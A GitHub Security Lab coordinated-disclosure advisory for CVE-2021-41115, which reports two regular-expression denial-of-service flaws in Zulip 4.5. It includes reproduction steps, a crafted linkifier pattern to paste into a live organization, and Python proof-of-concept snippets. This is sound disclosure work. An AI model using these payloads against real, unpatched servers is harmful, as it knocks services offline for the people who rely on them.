GHSL-2021-118: ReDoS (Regular Expression Denial of Service) in Zulip - CVE-2021-41115

Coordinated Disclosure Timeline

• 2021-08-31: Sent report to security@zulip.com.
• 2021-08-31: Reply from security@zulip.com: “Thank you for the report! We’ll investigate these and get back to you shortly.”
• 2021-09-01: Update from security@zulip.com: they have investigated and determined that the first issue is a genuine vulnerability because the regex is “accessible to users who can access organization settings to configure new linkifiers”, but the second issues is not a vulnerability because the regex “only acts on controlled inputs – namely, existing version-controlled documentation files on disk”. However, they intend to fix both regexes by switching to the pyre2 library.
• 2021-10-04: Fixed in version 4.7: GHSA-4h36-mqfq-42jg.

Summary

Zulip contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service).

Product

Zulip

Tested Version

4.5

Details

ReDoS

ReDoS, or Regular Expression Denial of Service, is a vulnerability affecting inefficient regular expressions which can perform extremely badly when run on a crafted input string.

This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. You can see the results of the query on Zulip by following this link.

Two separate regular expressions are vulnerable, as described below.

Regex 1: Custom linkifiers in zerver/models.py.

The vulnerable regular expression is here.

Please follow these steps to reproduce the issue on a live Zulip organization:

• Go into the organization settings in a Zulip org.
• Go to the Linkifiers tab.
• Paste the following into the Pattern text box:

+(?P<w>a)a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>

• Type something into the URL format string text box.
• Click Add linkifier.
• Wait about 6 seconds for an error to appear.
• Make the above string longer for a bigger effect

A second way to see that the regular expression is vulnerable is to copy-paste it into a separate file as shown below:

• Run the code below with python3:

import re
regex = re.compile(r"^(?:(?:[\w\-#_= /:]*|[+]|[!])(\(\?P<\w+>.+\)))+$")
regex.match("+(?P<w>a)a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>a)(?P<a>")

Regex 2: Markdown extensions in zerver/openapi/markdown_extension.py

The vulnerable regular expression is here.

To see that the regular expression is vulnerable, copy-paste it into a separate file as shown below:

• Run the code below with python3:

import re
regex = re.compile(r"\{generate_code_example(\(\s*(.+?)\s*\))*\|\s*(.+?)\s*\|\s*(.+?)\s*(\(\s*(.+)\s*\))?\}");
regex.match("{generate_code_example(a)()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()}")

Impact

This issue may lead to a denial of service.

CVE

• CVE-2021-41115

Credit

This issue was discovered by GitHub team members @erik-krogh (Erik Krogh Kristensen) and @yoff (Rasmus Petersen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-118 in any communication regarding this issue.